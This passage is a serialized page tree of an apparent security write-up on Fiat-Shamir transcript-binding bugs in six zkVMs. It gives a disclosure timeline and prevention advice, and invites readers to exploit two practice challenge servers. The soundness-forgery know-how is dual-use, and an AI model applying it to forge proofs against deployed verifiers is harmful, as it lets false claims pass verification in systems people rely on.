"children":124127},{"className":124126},[677],[124128],{"type":23,"tag":504,"props":124129,"children":124131},{"className":124130,"style":116064},[682],[124132],{"type":23,"tag":504,"props":124133,"children":124134},{},[],{"type":23,"tag":504,"props":124136,"children":124138},{"className":124137,"style":2274},[537],[],{"type":23,"tag":504,"props":124140,"children":124142},{"className":124141},[529],[124143],{"type":23,"tag":504,"props":124144,"children":124146},{"className":124145},[529,29],[124147],{"type":23,"tag":504,"props":124148,"children":124150},{"className":124149},[529],[124151],{"type":29,"value":63737},{"type":23,"tag":504,"props":124153,"children":124155},{"className":124154},[600],[124156],{"type":29,"value":1380},{"type":23,"tag":504,"props":124158,"children":124160},{"className":124159,"style":124106},[529,530],[124161],{"type":29,"value":51635},{"type":23,"tag":504,"props":124163,"children":124165},{"className":124164},[930],[124166],{"type":29,"value":1422},{"type":23,"tag":504,"props":124168,"children":124170},{"className":124169},[600],[124171],{"type":29,"value":1380},{"type":23,"tag":504,"props":124173,"children":124175},{"className":124174},[529,530],[124176],{"type":29,"value":3003},{"type":23,"tag":504,"props":124178,"children":124180},{"className":124179},[930],[124181],{"type":29,"value":1422},{"type":23,"tag":504,"props":124183,"children":124185},{"className":124184,"style":1426},[537],[],{"type":23,"tag":504,"props":124187,"children":124189},{"className":124188},[1431],[124190],{"type":29,"value":113088},{"type":23,"tag":504,"props":124192,"children":124194},{"className":124193,"style":1426},[537],[],{"type":23,"tag":504,"props":124196,"children":124198},{"className":124197},[518],[124199,124204,124213,124218,124223,124228,124232,124289,124294,124298,124303],{"type":23,"tag":504,"props":124200,"children":124203},{"className":124201,"style":124202},[523],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":504,"props":124205,"children":124207},{"className":124206},[529,29],[124208],{"type":23,"tag":504,"props":124209,"children":124211},{"className":124210},[529],[124212],{"type":29,"value":114415},{"type":23,"tag":504,"props":124214,"children":124216},{"className":124215},[600],[124217],{"type":29,"value":603},{"type":23,"tag":504,"props":124219,"children":124221},{"className":124220},[529,530],[124222],{"type":29,"value":3003},{"type":23,"tag":504,"props":124224,"children":124226},{"className":124225},[2267],[124227],{"type":29,"value":2270},{"type":23,"tag":504,"props":124229,"children":124231},{"className":124230,"style":2274},[537],[],{"type":23,"tag":504,"props":124233,"children":124235},{"className":124234},[529],[124236,124241],{"type":23,"tag":504,"props":124237,"children":124239},{"className":124238,"style":624},[529,530],[124240],{"type":29,"value":1477},{"type":23,"tag":504,"props":124242,"children":124244},{"className":124243},[666],[124245],{"type":23,"tag":504,"props":124246,"children":124248},{"className":124247},[671,672],[124249,124278],{"type":23,"tag":504,"props":124250,"children":124252},{"className":124251},[677],[124253,124273],{"type":23,"tag":504,"props":124254,"children":124256},{"className":124255,"style":1180},[682],[124257],{"type":23,"tag":504,"props":124258,"children":124259},{"style":111825},[124260,124264],{"type":23,"tag":504,"props":124261,"children":124263},{"className":124262,"style":693},[692],[],{"type":23,"tag":504,"props":124265,"children":124267},{"className":124266},[698,699,700,701],[124268],{"type":23,"tag":504,"props":124269,"children":124271},{"className":124270,"style":116049},[529,530,701],[124272],{"type":29,"value":10701},{"type":23,"tag":504,"props":124274,"children":124276},{"className":124275},[712],[124277],{"type":29,"value":715},{"type":23,"tag":504,"props":124279,"children":124281},{"className":124280},[677],[124282],{"type":23,"tag":504,"props":124283,"children":124285},{"className":124284,"style":120736},[682],[124286],{"type":23,"tag":504,"props":124287,"children":124288},{},[],{"type":23,"tag":504,"props":124290,"children":124292},{"className":124291},[930],[124293],{"type":29,"value":933},{"type":23,"tag":504,"props":124295,"children":124297},{"className":124296,"style":1426},[537],[],{"type":23,"tag":504,"props":124299,"children":124301},{"className":124300},[1431],[124302],{"type":29,"value":113088},{"type":23,"tag":504,"props":124304,"children":124306},{"className":124305,"style":1426},[537],[],{"type":23,"tag":504,"props":124308,"children":124310},{"className":124309},[518],[124311,124315,124324,124329,124334,124339,124343,124353,124358,124367,124372,124381],{"type":23,"tag":504,"props":124312,"children":124314},{"className":124313,"style":558},[523],[],{"type":23,"tag":504,"props":124316,"children":124318},{"className":124317},[529,29],[124319],{"type":23,"tag":504,"props":124320,"children":124322},{"className":124321},[529],[124323],{"type":29,"value":114415},{"type":23,"tag":504,"props":124325,"children":124327},{"className":124326},[600],[124328],{"type":29,"value":603},{"type":23,"tag":504,"props":124330,"children":124332},{"className":124331,"style":124106},[529,530],[124333],{"type":29,"value":51635},{"type":23,"tag":504,"props":124335,"children":124337},{"className":124336},[2267],[124338],{"type":29,"value":2270},{"type":23,"tag":504,"props":124340,"children":124342},{"className":124341,"style":2274},[537],[],{"type":23,"tag":504,"props":124344,"children":124346},{"className":124345},[529,29],[124347],{"type":23,"tag":504,"props":124348,"children":124350},{"className":124349},[529],[124351],{"type":29,"value":124352},"inout",{"type":23,"tag":504,"props":124354,"children":124356},{"className":124355,"style":624},[529],[124357],{"type":29,"value":627},{"type":23,"tag":504,"props":124359,"children":124361},{"className":124360},[529,29],[124362],{"type":23,"tag":504,"props":124363,"children":124365},{"className":124364},[529],[124366],{"type":29,"value":39605},{"type":23,"tag":504,"props":124368,"children":124370},{"className":124369,"style":624},[529],[124371],{"type":29,"value":627},{"type":23,"tag":504,"props":124373,"children":124375},{"className":124374},[529,29],[124376],{"type":23,"tag":504,"props":124377,"children":124379},{"className":124378},[529],[124380],{"type":29,"value":119611},{"type":23,"tag":504,"props":124382,"children":124384},{"className":124383},[930],[124385],{"type":29,"value":933},{"type":23,"tag":32,"props":124387,"children":124388},{},[124389,124391,124396,124398,124471],{"type":29,"value":124390},"With challenges fixed (independent of ",{"type":23,"tag":154,"props":124392,"children":124394},{"className":124393},[],[124395],{"type":29,"value":63737},{"type":29,"value":124397},"), an attacker can find an alternate witness ",{"type":23,"tag":154,"props":124399,"children":124401},{"className":124400},[500,501],[124402],{"type":23,"tag":504,"props":124403,"children":124405},{"className":124404},[507],[124406],{"type":23,"tag":504,"props":124407,"children":124409},{"className":124408,"ariaHidden":513},[512],[124410],{"type":23,"tag":504,"props":124411,"children":124413},{"className":124412},[518],[124414,124419],{"type":23,"tag":504,"props":124415,"children":124418},{"className":124416,"style":124417},[523],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":124420,"children":124422},{"className":124421},[529],[124423,124432],{"type":23,"tag":504,"props":124424,"children":124426},{"className":124425},[529,29],[124427],{"type":23,"tag":504,"props":124428,"children":124430},{"className":124429},[529],[124431],{"type":29,"value":63737},{"type":23,"tag":504,"props":124433,"children":124435},{"className":124434},[666],[124436],{"type":23,"tag":504,"props":124437,"children":124439},{"className":124438},[671],[124440],{"type":23,"tag":504,"props":124441,"children":124443},{"className":124442},[677],[124444],{"type":23,"tag":504,"props":124445,"children":124448},{"className":124446,"style":124447},[682],"height:0.8362em;",[124449],{"type":23,"tag":504,"props":124450,"children":124452},{"style":124451},"top:-3.1473em;margin-right:0.05em;",[124453,124457],{"type":23,"tag":504,"props":124454,"children":124456},{"className":124455,"style":693},[692],[],{"type":23,"tag":504,"props":124458,"children":124460},{"className":124459},[698,699,700,701],[124461],{"type":23,"tag":504,"props":124462,"children":124464},{"className":124463},[529,701],[124465],{"type":23,"tag":504,"props":124466,"children":124468},{"className":124467},[529,701],[124469],{"type":29,"value":124470},"′",{"type":29,"value":124472}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":32,"props":124474,"children":124475},{},[124476,124480,124482],{"type":23,"tag":38,"props":124477,"children":124478},{},[124479],{"type":29,"value":118536},{"type":29,"value":124481}," Fixed on December 29, 2025 via ",{"type":23,"tag":68,"props":124483,"children":124486},{"href":124484,"rel":124485},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[72],[124487],{"type":29,"value":124488},"commit 86a515f",{"type":23,"tag":20844,"props":124490,"children":124491},{},[],{"type":23,"tag":24,"props":124493,"children":124495},{"id":124494},"why-does-this-keep-happening",[124496],{"type":29,"value":124497},"Why Does This Keep Happening?",{"type":23,"tag":32,"props":124499,"children":124500},{},[124501],{"type":29,"value":124502},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":320,"props":124504,"children":124506},{"id":124505},"academic-papers-dont-specify-fiat-shamir",[124507],{"type":29,"value":124508},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":32,"props":124510,"children":124511},{},[124512,124514,124519,124521,124546,124548,124551,124553,124578,124580,124607],{"type":29,"value":124513},"Academic papers usually describe ",{"type":23,"tag":4321,"props":124515,"children":124516},{},[124517],{"type":29,"value":124518},"interactive",{"type":29,"value":124520}," protocols: \"Prover sends ",{"type":23,"tag":154,"props":124522,"children":124524},{"className":124523},[500,501],[124525],{"type":23,"tag":504,"props":124526,"children":124528},{"className":124527},[507],[124529],{"type":23,"tag":504,"props":124530,"children":124532},{"className":124531,"ariaHidden":513},[512],[124533],{"type":23,"tag":504,"props":124534,"children":124536},{"className":124535},[518],[124537,124541],{"type":23,"tag":504,"props":124538,"children":124540},{"className":124539,"style":23635},[523],[],{"type":23,"tag":504,"props":124542,"children":124544},{"className":124543,"style":24160},[529,530],[124545],{"type":29,"value":118055},{"type":29,"value":124547},". Verifier sends",{"type":23,"tag":33024,"props":124549,"children":124550},{},[],{"type":29,"value":124552},"random ",{"type":23,"tag":154,"props":124554,"children":124556},{"className":124555},[500,501],[124557],{"type":23,"tag":504,"props":124558,"children":124560},{"className":124559},[507],[124561],{"type":23,"tag":504,"props":124562,"children":124564},{"className":124563,"ariaHidden":513},[512],[124565],{"type":23,"tag":504,"props":124566,"children":124568},{"className":124567},[518],[124569,124573],{"type":23,"tag":504,"props":124570,"children":124572},{"className":124571,"style":112667},[523],[],{"type":23,"tag":504,"props":124574,"children":124576},{"className":124575,"style":624},[529,530],[124577],{"type":29,"value":1477},{"type":29,"value":124579},". Prover sends ",{"type":23,"tag":154,"props":124581,"children":124583},{"className":124582},[500,501],[124584],{"type":23,"tag":504,"props":124585,"children":124587},{"className":124586},[507],[124588],{"type":23,"tag":504,"props":124589,"children":124591},{"className":124590,"ariaHidden":513},[512],[124592],{"type":23,"tag":504,"props":124593,"children":124595},{"className":124594},[518],[124596,124600],{"type":23,"tag":504,"props":124597,"children":124599},{"className":124598,"style":23635},[523],[],{"type":23,"tag":504,"props":124601,"children":124604},{"className":124602,"style":124603},[529,530],"margin-right:0.00773em;",[124605],{"type":29,"value":124606},"R",{"type":29,"value":124608},".\"",{"type":23,"tag":32,"props":124610,"children":124611},{},[124612,124614,124639,124641,124666],{"type":29,"value":124613},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":154,"props":124615,"children":124617},{"className":124616},[500,501],[124618],{"type":23,"tag":504,"props":124619,"children":124621},{"className":124620},[507],[124622],{"type":23,"tag":504,"props":124623,"children":124625},{"className":124624,"ariaHidden":513},[512],[124626],{"type":23,"tag":504,"props":124627,"children":124629},{"className":124628},[518],[124630,124634],{"type":23,"tag":504,"props":124631,"children":124633},{"className":124632,"style":23635},[523],[],{"type":23,"tag":504,"props":124635,"children":124637},{"className":124636,"style":24160},[529,530],[124638],{"type":29,"value":118055},{"type":29,"value":124640}," before sampling ",{"type":23,"tag":154,"props":124642,"children":124644},{"className":124643},[500,501],[124645],{"type":23,"tag":504,"props":124646,"children":124648},{"className":124647},[507],[124649],{"type":23,"tag":504,"props":124650,"children":124652},{"className":124651,"ariaHidden":513},[512],[124653],{"type":23,"tag":504,"props":124654,"children":124656},{"className":124655},[518],[124657,124661],{"type":23,"tag":504,"props":124658,"children":124660},{"className":124659,"style":112667},[523],[],{"type":23,"tag":504,"props":124662,"children":124664},{"className":124663,"style":624},[529,530],[124665],{"type":29,"value":1477},{"type":29,"value":124667},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":32,"props":124669,"children":124670},{},[124671],{"type":29,"value":124672},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":320,"props":124674,"children":124676},{"id":124675},"the-hot-potato-problem",[124677],{"type":29,"value":124678},"The Hot Potato Problem",{"type":23,"tag":32,"props":124680,"children":124681},{},[124682],{"type":29,"value":124683},"Modern zkVMs are modular:",{"type":23,"tag":32,"props":124685,"children":124686},{},[124687],{"type":23,"tag":199,"props":124688,"children":124691},{"alt":124689,"src":124690},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":32,"props":124693,"children":124694},{},[124695],{"type":29,"value":124696},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":320,"props":124698,"children":124700},{"id":124699},"optimization-pressure",[124701],{"type":29,"value":124702},"Optimization Pressure",{"type":23,"tag":32,"props":124704,"children":124705},{},[124706],{"type":29,"value":124707},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":32,"props":124709,"children":124710},{},[124711],{"type":29,"value":124712},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":320,"props":124714,"children":124716},{"id":124715},"testing-doesnt-catch-adversarial-inputs",[124717],{"type":29,"value":124718},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":32,"props":124720,"children":124721},{},[124722],{"type":29,"value":124723},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":20844,"props":124725,"children":124726},{},[],{"type":23,"tag":24,"props":124728,"children":124730},{"id":124729},"how-to-find-and-fix-these-bugs",[124731],{"type":29,"value":124732},"How to Find and Fix These Bugs",{"type":23,"tag":320,"props":124734,"children":124736},{"id":124735},"prevention",[124737],{"type":29,"value":124738},"Prevention",{"type":23,"tag":32,"props":124740,"children":124741},{},[124742],{"type":29,"value":124743},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":32,"props":124745,"children":124746},{},[124747],{"type":29,"value":124748},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":32,"props":124750,"children":124751},{},[124752],{"type":29,"value":124753},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":32,"props":124755,"children":124756},{},[124757],{"type":29,"value":124758},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":32,"props":124760,"children":124761},{},[124762],{"type":29,"value":124763},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":20844,"props":124765,"children":124766},{},[],{"type":23,"tag":24,"props":124768,"children":124770},{"id":124769},"responsible-disclosure-timeline",[124771],{"type":29,"value":124772},"Responsible Disclosure Timeline",{"type":23,"tag":57806,"props":124774,"children":124775},{},[124776,124804],{"type":23,"tag":124777,"props":124778,"children":124779},"thead",{},[124780],{"type":23,"tag":124781,"props":124782,"children":124783},"tr",{},[124784,124789,124794,124799],{"type":23,"tag":124785,"props":124786,"children":124787},"th",{},[124788],{"type":29,"value":25249},{"type":23,"tag":124785,"props":124790,"children":124791},{},[124792],{"type":29,"value":124793},"Reported",{"type":23,"tag":124785,"props":124795,"children":124796},{},[124797],{"type":29,"value":124798},"Fixed",{"type":23,"tag":124785,"props":124800,"children":124801},{},[124802],{"type":29,"value":124803},"Response Time",{"type":23,"tag":124805,"props":124806,"children":124807},"tbody",{},[124808,124831,124852,124872,124894,124915],{"type":23,"tag":124781,"props":124809,"children":124810},{},[124811,124816,124821,124826],{"type":23,"tag":124812,"props":124813,"children":124814},"td",{},[124815],{"type":29,"value":109639},{"type":23,"tag":124812,"props":124817,"children":124818},{},[124819],{"type":29,"value":124820},"Sep 2025",{"type":23,"tag":124812,"props":124822,"children":124823},{},[124824],{"type":29,"value":124825},"Oct 3, 2025",{"type":23,"tag":124812,"props":124827,"children":124828},{},[124829],{"type":29,"value":124830},"\u003C1 week",{"type":23,"tag":124781,"props":124832,"children":124833},{},[124834,124838,124843,124848],{"type":23,"tag":124812,"props":124835,"children":124836},{},[124837],{"type":29,"value":109645},{"type":23,"tag":124812,"props":124839,"children":124840},{},[124841],{"type":29,"value":124842},"Oct 2025",{"type":23,"tag":124812,"props":124844,"children":124845},{},[124846],{"type":29,"value":124847},"Oct 24, 2025",{"type":23,"tag":124812,"props":124849,"children":124850},{},[124851],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124853,"children":124854},{},[124855,124859,124863,124868],{"type":23,"tag":124812,"props":124856,"children":124857},{},[124858],{"type":29,"value":109651},{"type":23,"tag":124812,"props":124860,"children":124861},{},[124862],{"type":29,"value":124842},{"type":23,"tag":124812,"props":124864,"children":124865},{},[124866],{"type":29,"value":124867},"Oct 31, 2025",{"type":23,"tag":124812,"props":124869,"children":124870},{},[124871],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124873,"children":124874},{},[124875,124879,124884,124889],{"type":23,"tag":124812,"props":124876,"children":124877},{},[124878],{"type":29,"value":109657},{"type":23,"tag":124812,"props":124880,"children":124881},{},[124882],{"type":29,"value":124883},"Nov 2025",{"type":23,"tag":124812,"props":124885,"children":124886},{},[124887],{"type":29,"value":124888},"Mar 5, 2026",{"type":23,"tag":124812,"props":124890,"children":124891},{},[124892],{"type":29,"value":124893},"~4 months",{"type":23,"tag":124781,"props":124895,"children":124896},{},[124897,124901,124906,124911],{"type":23,"tag":124812,"props":124898,"children":124899},{},[124900],{"type":29,"value":109669},{"type":23,"tag":124812,"props":124902,"children":124903},{},[124904],{"type":29,"value":124905},"Dec 2025",{"type":23,"tag":124812,"props":124907,"children":124908},{},[124909],{"type":29,"value":124910},"Dec 29, 2025",{"type":23,"tag":124812,"props":124912,"children":124913},{},[124914],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124916,"children":124917},{},[124918,124922,124926,124931],{"type":23,"tag":124812,"props":124919,"children":124920},{},[124921],{"type":29,"value":109663},{"type":23,"tag":124812,"props":124923,"children":124924},{},[124925],{"type":29,"value":124883},{"type":23,"tag":124812,"props":124927,"children":124928},{},[124929],{"type":29,"value":124930},"Jan 21, 2026?",{"type":23,"tag":124812,"props":124932,"children":124933},{},[124934],{"type":29,"value":124935},"3 months",{"type":23,"tag":32,"props":124937,"children":124938},{},[124939],{"type":29,"value":124940},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":20844,"props":124942,"children":124943},{},[],{"type":23,"tag":24,"props":124945,"children":124947},{"id":124946},"challenges",[124948],{"type":29,"value":109682},{"type":23,"tag":32,"props":124950,"children":124951},{},[124952,124954],{"type":29,"value":124953},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":124955,"props":124956,"children":124957},"del",{},[124958],{"type":29,"value":124959},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":32,"props":124961,"children":124962},{},[124963,124965,125018,125019,125275],{"type":29,"value":124964},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":154,"props":124966,"children":124968},{"className":124967},[500,501],[124969],{"type":23,"tag":504,"props":124970,"children":124972},{"className":124971},[507],[124973],{"type":23,"tag":504,"props":124974,"children":124976},{"className":124975,"ariaHidden":513},[512],[124977],{"type":23,"tag":504,"props":124978,"children":124980},{"className":124979},[518],[124981,124985,124990,124995,124999,125004,125009,125013],{"type":23,"tag":504,"props":124982,"children":124984},{"className":124983,"style":116881},[523],[],{"type":23,"tag":504,"props":124986,"children":124988},{"className":124987},[529,530],[124989],{"type":29,"value":68},{"type":23,"tag":504,"props":124991,"children":124993},{"className":124992},[2267],[124994],{"type":29,"value":2270},{"type":23,"tag":504,"props":124996,"children":124998},{"className":124997,"style":2274},[537],[],{"type":23,"tag":504,"props":125000,"children":125002},{"className":125001},[529,530],[125003],{"type":29,"value":3003},{"type":23,"tag":504,"props":125005,"children":125007},{"className":125006},[2267],[125008],{"type":29,"value":2270},{"type":23,"tag":504,"props":125010,"children":125012},{"className":125011,"style":2274},[537],[],{"type":23,"tag":504,"props":125014,"children":125016},{"className":125015},[529,530],[125017],{"type":29,"value":3110},{"type":29,"value":111482},{"type":23,"tag":154,"props":125020,"children":125022},{"className":125021},[500,501],[125023],{"type":23,"tag":504,"props":125024,"children":125026},{"className":125025},[507],[125027],{"type":23,"tag":504,"props":125028,"children":125030},{"className":125029,"ariaHidden":513},[512],[125031,125094,125156,125262],{"type":23,"tag":504,"props":125032,"children":125034},{"className":125033},[518],[125035,125040,125081,125085,125090],{"type":23,"tag":504,"props":125036,"children":125039},{"className":125037,"style":125038},[523],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":125041,"children":125043},{"className":125042},[529],[125044,125049],{"type":23,"tag":504,"props":125045,"children":125047},{"className":125046},[529,530],[125048],{"type":29,"value":68},{"type":23,"tag":504,"props":125050,"children":125052},{"className":125051},[666],[125053],{"type":23,"tag":504,"props":125054,"children":125056},{"className":125055},[671],[125057],{"type":23,"tag":504,"props":125058,"children":125060},{"className":125059},[677],[125061],{"type":23,"tag":504,"props":125062,"children":125064},{"className":125063,"style":6065},[682],[125065],{"type":23,"tag":504,"props":125066,"children":125067},{"style":6099},[125068,125072],{"type":23,"tag":504,"props":125069,"children":125071},{"className":125070,"style":693},[692],[],{"type":23,"tag":504,"props":125073,"children":125075},{"className":125074},[698,699,700,701],[125076],{"type":23,"tag":504,"props":125077,"children":125079},{"className":125078},[529,701],[125080],{"type":29,"value":19344},{"type":23,"tag":504,"props":125082,"children":125084},{"className":125083,"style":1426},[537],[],{"type":23,"tag":504,"props":125086,"children":125088},{"className":125087},[1431],[125089],{"type":29,"value":6422},{"type":23,"tag":504,"props":125091,"children":125093},{"className":125092,"style":1426},[537],[],{"type":23,"tag":504,"props":125095,"children":125097},{"className":125096},[518],[125098,125102,125143,125147,125152],{"type":23,"tag":504,"props":125099,"children":125101},{"className":125100,"style":6065},[523],[],{"type":23,"tag":504,"props":125103,"children":125105},{"className":125104},[529],[125106,125111],{"type":23,"tag":504,"props":125107,"children":125109},{"className":125108},[529,530],[125110],{"type":29,"value":3003},{"type":23,"tag":504,"props":125112,"children":125114},{"className":125113},[666],[125115],{"type":23,"tag":504,"props":125116,"children":125118},{"className":125117},[671],[125119],{"type":23,"tag":504,"props":125120,"children":125122},{"className":125121},[677],[125123],{"type":23,"tag":504,"props":125124,"children":125126},{"className":125125,"style":6065},[682],[125127],{"type":23,"tag":504,"props":125128,"children":125129},{"style":6099},[125130,125134],{"type":23,"tag":504,"props":125131,"children":125133},{"className":125132,"style":693},[692],[],{"type":23,"tag":504,"props":125135,"children":125137},{"className":125136},[698,699,700,701],[125138],{"type":23,"tag":504,"props":125139,"children":125141},{"className":125140},[529,701],[125142],{"type":29,"value":19344},{"type":23,"tag":504,"props":125144,"children":125146},{"className":125145,"style":538},[537],[],{"type":23,"tag":504,"props":125148,"children":125150},{"className":125149},[543],[125151],{"type":29,"value":546},{"type":23,"tag":504,"props":125153,"children":125155},{"className":125154,"style":538},[537],[],{"type":23,"tag":504,"props":125157,"children":125159},{"className":125158},[518],[125160,125165,125206,125211,125215,125220,125225,125229,125234,125239,125243,125248,125252,125258],{"type":23,"tag":504,"props":125161,"children":125164},{"className":125162,"style":125163},[523],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":125166,"children":125168},{"className":125167},[529],[125169,125174],{"type":23,"tag":504,"props":125170,"children":125172},{"className":125171},[529,530],[125173],{"type":29,"value":3110},{"type":23,"tag":504,"props":125175,"children":125177},{"className":125176},[666],[125178],{"type":23,"tag":504,"props":125179,"children":125181},{"className":125180},[671],[125182],{"type":23,"tag":504,"props":125183,"children":125185},{"className":125184},[677],[125186],{"type":23,"tag":504,"props":125187,"children":125189},{"className":125188,"style":6065},[682],[125190],{"type":23,"tag":504,"props":125191,"children":125192},{"style":6099},[125193,125197],{"type":23,"tag":504,"props":125194,"children":125196},{"className":125195,"style":693},[692],[],{"type":23,"tag":504,"props":125198,"children":125200},{"className":125199},[698,699,700,701],[125201],{"type":23,"tag":504,"props":125202,"children":125204},{"className":125203},[529,701],[125205],{"type":29,"value":19344},{"type":23,"tag":504,"props":125207,"children":125209},{"className":125208},[2267],[125210],{"type":29,"value":2270},{"type":23,"tag":504,"props":125212,"children":125214},{"className":125213,"style":2274},[537],[],{"type":23,"tag":504,"props":125216,"children":125218},{"className":125217},[529,530],[125219],{"type":29,"value":68},{"type":23,"tag":504,"props":125221,"children":125223},{"className":125222},[2267],[125224],{"type":29,"value":2270},{"type":23,"tag":504,"props":125226,"children":125228},{"className":125227,"style":2274},[537],[],{"type":23,"tag":504,"props":125230,"children":125232},{"className":125231},[529,530],[125233],{"type":29,"value":3003},{"type":23,"tag":504,"props":125235,"children":125237},{"className":125236},[2267],[125238],{"type":29,"value":2270},{"type":23,"tag":504,"props":125240,"children":125242},{"className":125241,"style":2274},[537],[],{"type":23,"tag":504,"props":125244,"children":125246},{"className":125245},[529,530],[125247],{"type":29,"value":3110},{"type":23,"tag":504,"props":125249,"children":125251},{"className":125250,"style":538},[537],[],{"type":23,"tag":504,"props":125253,"children":125255},{"className":125254},[543],[125256],{"type":29,"value":125257},"≥",{"type":23,"tag":504,"props":125259,"children":125261},{"className":125260,"style":538},[537],[],{"type":23,"tag":504,"props":125263,"children":125265},{"className":125264},[518],[125266,125270],{"type":23,"tag":504,"props":125267,"children":125269},{"className":125268,"style":1690},[523],[],{"type":23,"tag":504,"props":125271,"children":125273},{"className":125272},[529],[125274],{"type":29,"value":826},{"type":29,"value":125276},". Good luck!",{"type":23,"tag":320,"props":125278,"children":125280},{"id":125279},"jolt",[125281],{"type":29,"value":109639},{"type":23,"tag":32,"props":125283,"children":125284},{},[125285,125287,125298,125300],{"type":29,"value":125286},"See ",{"type":23,"tag":68,"props":125288,"children":125295},{"href":125289,"target":125290,"rel":125291,"download":125294},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125292,125293],"noopener","noreferrer","handout_jolt.tar.gz",[125296],{"type":29,"value":125297},"the handout",{"type":29,"value":125299}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":154,"props":125301,"children":125303},{"className":125302},[],[125304],{"type":29,"value":125305},"jolt.chal.osec.io:8960",{"type":23,"tag":320,"props":125307,"children":125309},{"id":125308},"nexus-1",[125310],{"type":29,"value":109645},{"type":23,"tag":32,"props":125312,"children":125313},{},[125314,125315,125322,125323],{"type":29,"value":125286},{"type":23,"tag":68,"props":125316,"children":125320},{"href":125317,"target":125290,"rel":125318,"download":125319},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125292,125293],"handout_nexus.tar.gz",[125321],{"type":29,"value":125297},{"type":29,"value":125299},{"type":23,"tag":154,"props":125324,"children":125326},{"className":125325},[],[125327],{"type":29,"value":125328},"nexus.chal.osec.io:8950",{"type":23,"tag":32,"props":125330,"children":125331},{},[125332],{"type":29,"value":125333},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":20844,"props":125335,"children":125336},{},[],{"type":23,"tag":24,"props":125338,"children":125340},{"id":125339},"takeaways",[125341],{"type":29,"value":125342},"Takeaways",{"type":23,"tag":32,"props":125344,"children":125345},{},[125346],{"type":29,"value":125347},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":32,"props":125349,"children":125350},{},[125351],{"type":29,"value":125352},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":32,"props":125354,"children":125355},{},[125356,125361],{"type":23,"tag":38,"props":125357,"children":125358},{},[125359],{"type":29,"value":125360},"For the ZK ecosystem:",{"type":29,"value":125362}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":32,"props":125364,"children":125365},{},[125366],{"type":29,"value":125367},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":32,"props":125369,"children":125370},{},[125371,125376],{"type":23,"tag":38,"props":125372,"children":125373},{},[125374],{"type":29,"value":125375},"For auditors:",{"type":29,"value":125377}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":32,"props":125379,"children":125380},{},[125381,125386],{"type":23,"tag":38,"props":125382,"children":125383},{},[125384],{"type":29,"value":125385},"For builders:",{"type":29,"value":125387}," Treat the transcript as a sacred ledger. When in doubt, absorb 